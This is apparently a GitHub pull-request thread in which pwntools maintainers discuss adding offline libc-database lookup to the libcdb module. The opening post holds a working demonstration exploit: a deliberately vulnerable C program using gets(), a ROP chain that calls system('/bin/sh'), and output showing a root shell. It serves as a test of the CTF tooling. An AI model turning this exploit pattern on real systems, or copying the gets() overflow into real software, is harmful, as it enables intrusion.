Allow libcdb search offline database

[the-soloist]

Allow searching of offline libc-database under limited or poor network conditions.

Add the offline parameter to libcdb.search_by_symbol_offsets, and searched according to the format of libc-database, which is the open source project used by http://libc.rip.

steps:

1. download libc-database

git clone https://github.com/niklasb/libc-database
cd libc-database
./get ubuntu

2. config the local database path in the environment variable, or your exploit script.

export LOCAL_LIBC_DATABASE=/path/to/libc-database

from pwn import *

...
libcdb.local_database["libc-database"] = "/path/to/libc-database"
...

3. run exploit, test code is the same as Add search for libc binary by leaked function addresses #2103 (comment)

from pwn import *

exe = context.binary = ELF('./vuln')

io = process('./vuln')
puts_leak = int(io.recvline(), 0)
printf_leak = int(io.recvline(), 0)

# config local database path
libcdb.local_database["libc-database"] = "/root/Pwn/tools/libc-database"
# search libc in offline mode
libc_path = libcdb.search_by_symbol_offsets({'puts': puts_leak, 'printf': printf_leak}, offline=True)

libc = ELF(libc_path)
libc.address = puts_leak - libc.sym.puts

rop = ROP(libc)
rop.call(rop.ret)
rop.system(next(libc.search(b'/bin/sh\x00')))

io.sendline(flat({0x28: rop.chain()}))
io.interactive()

// gcc -fno-stack-protector -o vuln vuln.c
#include <stdio.h>

int main(int argc, char* argv[]) {
    char buf[0x20];
    printf("%p\n%p\n", puts, printf);
    gets(buf);
    return 0;
}

$ python exploit.py
[*] '/root/Desktop/pwntools/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './vuln': pid 26135
[*] Multiple matching libc libraries for requested symbols:
[*] 1. libc6_2.31-0ubuntu9.12_amd64
        BuildID:     e678fe54a5d2c2092f8e47eb0b33105e380f7340
        MD5:         442cd4b76ddb88a67aa82b334d595570
        SHA1:        4965c5e6e61ddf39810e425dd128a1c31d8a963e
        SHA256:      48ea7b546311a4bb9a1206203d821615e0c24af58d576a9b3ce771d116cbd223
        Symbols:
            __libc_start_main_ret = 0x24083
                             dup2 = 0x10e8c0
                             open = 0x10dce0
                           printf = 0x61c90
                             puts = 0x84420
                             read = 0x10dfc0
                       str_bin_sh = 0x1b45bd
                           system = 0x52290
[*] 2. libc6_2.31-0ubuntu9.9_amd64
        BuildID:     1878e6b475720c7c51969e69ab2d276fae6d1dee
        MD5:         5898fac5d2680d0d8fefdadd632b7188
        SHA1:        1430c57bf7ca6bd7f84a11c2cb7580fc39da07f5
        SHA256:      80378c2017456829f32645e6a8f33b4c40c8efa87db7e8c931a229afa7bf6712
        Symbols:
            __libc_start_main_ret = 0x24083
                             dup2 = 0x10e8c0
                             open = 0x10dce0
                           printf = 0x61c90
                             puts = 0x84420
                             read = 0x10dfc0
                       str_bin_sh = 0x1b45bd
                           system = 0x52290
 [?] Select the libc version to use:
       1) libc6_2.31-0ubuntu9.12_amd64
    => 2) libc6_2.31-0ubuntu9.9_amd64
[*] '/root/Pwn/tools/libc-database/db/libc6_2.31-0ubuntu9.9_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 196 cached gadgets for '/root/Pwn/tools/libc-database/db/libc6_2.31-0ubuntu9.9_amd64.so'
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$

$ export LOCAL_LIBC_DATABASE=/root/Pwn/tools/libc-database
$ python pwnlib/commandline/libcdb.py lookup puts 420 printf c90 --offline
[*] libc6_2.31-0ubuntu9.12_amd64
        BuildID:     e678fe54a5d2c2092f8e47eb0b33105e380f7340
        MD5:         442cd4b76ddb88a67aa82b334d595570
        SHA1:        4965c5e6e61ddf39810e425dd128a1c31d8a963e
        SHA256:      48ea7b546311a4bb9a1206203d821615e0c24af58d576a9b3ce771d116cbd223
        Symbols:
            __libc_start_main_ret = 0x24083
                             dup2 = 0x10e8c0
                             open = 0x10dce0
                           printf = 0x61c90
                             puts = 0x84420
                             read = 0x10dfc0
                       str_bin_sh = 0x1b45bd
                           system = 0x52290
[*] libc6_2.31-0ubuntu9.9_amd64
        BuildID:     1878e6b475720c7c51969e69ab2d276fae6d1dee
        MD5:         5898fac5d2680d0d8fefdadd632b7188
        SHA1:        1430c57bf7ca6bd7f84a11c2cb7580fc39da07f5
        SHA256:      80378c2017456829f32645e6a8f33b4c40c8efa87db7e8c931a229afa7bf6712
        Symbols:
            __libc_start_main_ret = 0x24083
                             dup2 = 0x10e8c0
                             open = 0x10dce0
                           printf = 0x61c90
                             puts = 0x84420
                             read = 0x10dfc0
                       str_bin_sh = 0x1b45bd
                           system = 0x52290

[peace-maker]

Very cool, thank you! This is very useful to have for the libcdb module. I added my thoughts about the implementation inline.

[the-soloist]

I continued to optimize libcdb, mainly involving simplifying redundant code, enabling cache usage in offline mode, adding the raw parameter, and utilizing Context, environment variables, and pwn.conf for parameter passing.

Regarding the get_libc_symbols function in pwnlib/commandline/libcdb.py, code reuse is present, and I would not recommend making modifications. and I haven't come up with a more concise solution for altering get_libc_info.

Now you have several options to configure the local libc-database:

export PWNLIB_LOCAL_LIBCDB="/path/to/libc-database"

context.local_libcdb="/path/to/libc-database"

Or via pwn.conf:

[libcdb]
local_db=/path/to/libc-database

[peace-maker]

Cool, thank you for working on this. I'll look at your changes in more detail tomorrow.

A f-string snuck in which fails the python 2 test, can you have a look at the CI results please?

Adding a libcdb section to the pwn.conf is redundant when adding the same thing to the context since you can do

[context]
local_libcdb="path"

[the-soloist]

Hi, have you finished code review?

I've noticed that making libcdb default to using an offline database might be a better approach. If someone wants to use the online database, they can pass --online=True.

Currently, libcdb can automatically switch to offline mode if an offline database path is configured. To implement this functionality, I had to make some trade-offs in code elegance, and I've also found that this approach might not provide clear prompts to the users. Without any configuration, libcdb will default to online mode, and only by check the source code or documentation can users become aware of the presence of the offline mode. Nonetheless, this approach does offer a level of convenience.

Or search for offline databases within the online mode. #2259 (comment)

[Arusekk]

Alright, so here are the things needed in order to get this merged (opinionated, but for a reason):

• Offline libcdb needs to always be considered, regardless of settings (you can always disable it with pointing at /no/such/dir or whatever); the default path should be something sensible (~/libcdb ? /var/lib/libcdb ? /srv/libcdb ? I would strongly advocate for the path to be the same as in one of the most popular libcdb server implementations, like libc.rip).
• Online libcdb should be on by default (most users will not download a libcdb replica, and it is originally meant as a convenience speedup instead of leaking more info from remote, with a quick fallback; remember that pwntools' primary audience are online ctf players, not state actors 😉).
• The disable switch should be --offline of type store_true, not --ofline=True (as concise as possible, optionally --online of store_false with target=offline); you can always use unshare -nc pwn libcdb ... if need to make sure no network access is done. A context variable for disabling interaction with other network services deserves a separate PR.
• The added code should be as small as possible, and integrate cleanly (no golfing needed though haha): think about adding an offline provider to the providers, and some logic to remove or disable online providers if a switch is specified.
• The offline libcdb format should be either compatible with existing json logic, or with an existing implementation of libcdb server like libc.rip, or if not, at least with nm symbol dump (stdin D 00012c80), like kallsyms, System.map and all other popular uses; a simpler format can be supported (it is okay to accept stdin 12c80 or stdin 0x12c80 then, for example).

[peace-maker]

Sorry for the delay again, let's imagine it's tomorrow now :P

[the-soloist]

Currently, both offline and online search modes are enabled by default in libcdb. You can control them using the "offline" and "online" parameters. For instance, you can disable online search mode with the following code:

libcdb.search_by_symbol_offsets({'puts': puts_leak, 'printf': printf_leak}, online=False)

Additionally, I'm in the process of adding the functionality to download libc-database for libcdb's command-line application, as shown below:

libcdb download all --save-path="/path/to/libc-database"

How can I modify the local_libcdb configuration in pwn.conf based on the value of save_path? pwn.conf has three path, and I haven't found a suitable API to update a specific configuration file. Or just modify ~/.config/pwn.conf?

[Arusekk]

I think you should not modify pwn.conf at all, but rather use a default path that is sensible (/var/lib/libc-database is sensible, $XDG_HOME/libc-database is sensible as well, and ~/.cache/libc-database and probably many others).

[Arusekk]

This PR is a rather big one, so I think it deserves splitting into two parts, because it looks very useful and I would like to merge it soon.

The first part should just introduce an offline provider, which is just another provider, always enabled, cannot be disabled, has a sensible default path, but can be configured by setting the local_libcdb context param (preferably via pwn.conf).

The second part can introduce a new optional offline mode, disabled by default, which would disable libc.rip/libcdb lookups.

[Arusekk]

Is it so much faster than our derived ELF()? I could bet it already has that functionality.

[the-soloist]

In fact, it will be much faster, and there will be a lot of unnecessary output when using ELF().

use ELF(path, checksec=False).buildid:

use ELFFile(fd).get_section_by_name('.note.gnu.build-id'):

[the-soloist]

I'm testing on the following code

from elftools.elf.elffile import ELFFile

def _get_elf_buildid(path):
    """ Some ELF files lack the `.note.gnu.build-id` section. """

    build_id = None

    with open(path, "rb") as fd:
        section = ELFFile(fd).get_section_by_name('.note.gnu.build-id')
    
        if section:
            build_id = section.data()

    if not build_id:
        log.debug("%s does not have a buildid", path)
        return None

    return binascii.b2a_hex(build_id).decode()

def _get_elf_buildid(path):
    """ Some ELF files lack the `.note.gnu.build-id` section. """

    build_id = ELF(path, checksec=False).buildid

    if not build_id:
        log.debug("%s does not have a buildid", path)
        return None

    return binascii.b2a_hex(build_id).decode()

[Arusekk]

You can use context.quiet to silence the warnings (and they should be addressed anyway I think?).

[the-soloist]

How to address the time consumption, Is there any method to reduce the runtime of ELF? Using ELFFile takes only about 1 second, while ELF takes around 17 seconds.

And can you take a look at this issue #2304?

[the-soloist]

Did you mean that libcdb needs to provide the following two modes?

1. Mixed mode, including offline search and online search, and using offline search first, then using online search when no results can be found.
2. Pure offline mode, disable online searches such as libc.rip

[the-soloist]

okey, I will try to submit it in two new PRs

[the-soloist]

Do you need to conduct a code review first? or should I directly submit a new PR.

This RP should split to three part, maybe four part.

1. introduce an offline provider
2. introduce a new optional offline mode
3. adapt changes to libcdb cli, include download feature

[peace-maker]

I've left some more comments on the current implementation. I'd be awesome if you could proceed with splitting this up as you suggested above!

[peace-maker]

Attempting to unstrip the libc should be enabled by default, so this can be cleaned up the other way around to only keep the --no-unstrip but default to True.

[the-soloist]

Okey, but I believe it would be better to set the default value of --no-unstrip to False. This way, I can pass not args.no_unstrip as the value for unstrip.

In the following code, by default, unstrip is True. If we use the --no-unstrip, the unstrip parameter will become False.

symbols = {pairs[i]:pairs[i+1] for i in range(0, len(pairs), 2)}
matched_libcs = libcdb.search_by_symbol_offsets(symbols, raw=True, unstrip=not args.no_unstrip, offline=args.offline)
for libc in matched_libcs:
    print_libc(libc)
    fetch_libc(args, libc)

[peace-maker]

The doctests are actually run. We'd need to setup a fake local libc-database in CI for this to work. I don't want to actually download a whole database in CI.

[the-soloist]

Sorry, this is an unintended PR. I was merely testing how doctests are executed.

[Arusekk]

You can always execute your tests offline selectively like the following:

python -m sphinx -b doctest docs/source docs/build/doctest docs/source/libcdb.rst